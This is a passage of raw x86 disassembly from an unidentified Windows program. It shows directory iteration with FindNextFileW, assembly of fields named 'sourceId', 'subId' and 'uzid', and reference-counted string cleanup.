mov byte [ebp - 4], 0x2b
call fcn.004706a0
lea eax, [ebp - 0x384]
push eax
push str.sourceId
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x2c
call fcn.00470d60
mov ecx, eax
call fcn.00470b70
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x2b
call fcn.00470ad0
cmp dword [ebp - 0x4c], 0x10
mov byte [ebp - 4], 0x2a
jb 0x48950c
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
mov eax, dword [ebp - 0x2fc]
add eax, 0x50
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0049acd0
add esp, 8
push eax
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x2d
call fcn.004706a0
lea eax, [ebp - 0x3a4]
push eax
push str.subId
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x2e
call fcn.00470d60
mov ecx, eax
call fcn.00470b70
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x2d
call fcn.00470ad0
cmp dword [ebp - 0x4c], 0x10
mov byte [ebp - 4], 0x2a
jb 0x489578
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
mov eax, dword [ebp - 0x2fc]
add eax, 0x54
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.0049acd0
add esp, 8
push eax
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 0x2f
call fcn.004706a0
lea eax, [ebp - 0x394]
push eax
push str.uzid
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x30
call fcn.00470d60
mov ecx, eax
call fcn.00470b70
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 0x2f
call fcn.00470ad0
cmp dword [ebp - 0x4c], 0x10
mov byte [ebp - 4], 0x2a
jb 0x4895e4
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
lea ecx, [ebp - 0x34]
call fcn.00472a40
sub esp, 0x18
mov eax, esp
lea ecx, [ebp - 0x374]
push ecx
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x31
call fcn.004758e0
lea eax, [ebp - 0x358]
push eax
call fcn.0049ac00
add esp, 0x1c
mov dword [ebp - 0x2e8], eax
mov ecx, dword [eax]
mov byte [ebp - 4], 0x32
cmp dword [ecx - 4], 1
jle 0x489636
push dword [ecx - 0xc]
mov ecx, eax
call fcn.00405960
mov eax, dword [ebp - 0x2e8]
push dword [eax]
lea ecx, [ebp - 0x78]
call fcn.0041d4c0
mov eax, dword [ebp - 0x2ec]
mov byte [ebp - 4], 0x33
cmp dword [eax - 4], 1
jle 0x489664
push dword [eax - 0xc]
lea ecx, [ebp - 0x2ec]
call fcn.00405960
mov eax, dword [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0x90]
call fcn.0041d4c0
cmp dword [esi - 4], 1
mov byte [ebp - 4], 0x34
jle 0x48968e
push dword [esi - 0xc]
lea ecx, [ebp - 0x2e4]
call fcn.00405960
mov esi, dword [ebp - 0x2e4]
push esi
lea ecx, [ebp - 0x60]
call fcn.0041d4c0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x35
call fcn.0041ea20
cmp dword [ebp - 0x4c], 8
jb 0x4896c6
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x7c], 8
mov dword [ebp - 0x4c], 7
mov dword [ebp - 0x50], 0
mov word [ebp - 0x60], ax
jb 0x4896ee
push dword [ebp - 0x90]
call fcn.004f03fe
add esp, 4
xor eax, eax
cmp dword [ebp - 0x64], 8
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x80], 0
mov word [ebp - 0x90], ax
jb 0x489716
push dword [ebp - 0x78]
call fcn.004f03fe
add esp, 4
mov edx, dword [ebp - 0x358]
xor eax, eax
add edx, 0xfffffff0
mov word [ebp - 0x78], ax
mov dword [ebp - 0x64], 7
mov dword [ebp - 0x68], 0
mov byte [ebp - 4], 0x31
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48974e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x2f0]
cmp dword [eax - 4], 1
jle 0x48976e
push dword [eax - 0xc]
lea ecx, [ebp - 0x2f0]
call fcn.00405960
mov eax, dword [ebp - 0x2f0]
push eax
lea ecx, [ebp - 0x60]
call fcn.0041d4c0
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x36
call fcn.0041e8a0
cmp dword [ebp - 0x4c], 8
mov byte [ebp - 4], 0x31
jb 0x48979f
push dword [ebp - 0x60]
call fcn.004f03fe
add esp, 4
lea eax, [ebp - 0x2f0]
push eax
call fcn.00412860
add esp, 4
cmp dword [ebp - 0x1c], 0x10
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x34], 0x533570
jb 0x4897ca
push dword [ebp - 0x30]
call fcn.004f03fe
add esp, 4
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
call fcn.00472b70
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x20
call fcn.00470ad0
add edi, 0xfffffff0
mov byte [ebp - 4], 0x1f
lea eax, [edi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489811
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
add ebx, 0xfffffff0
mov byte [ebp - 4], 0x1d
lea eax, [ebx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48982f
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x314]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x1c
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489853
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x300]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x1a
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489877
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2f4]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x19
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48989b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x304]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x17
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4898bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2ec]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x15
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4898e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x13
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489901
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x12
call fcn.0041dad0
mov edx, dword [ebp - 0x2f0]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x11
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489934
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x344]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xf
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489958
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x340]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xe
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x48997c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x33c]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xd
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4899a0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x338]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xc
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4899c4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x318]
add edx, 0xfffffff0
mov byte [ebp - 4], 2
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4899e8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x364]
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov ebx, dword [ebp - 0x2f8]
test eax, eax
jne 0x488670
call fcn.00493ac0
test al, al
jne 0x489a19
dec dword [0x578ad4]
mov edx, dword [ebp - 0x31c]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x489a3d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x32c]
mov esi, dword [ebp - 0x330]
mov ecx, dword [ebp - 0x334]
mov eax, edi
sub eax, esi
inc ecx
sar eax, 2
mov dword [ebp - 0x334], ecx
cmp ecx, eax
jge 0x4884c5
jmp 0x48858a
call fcn.0040cb60
int3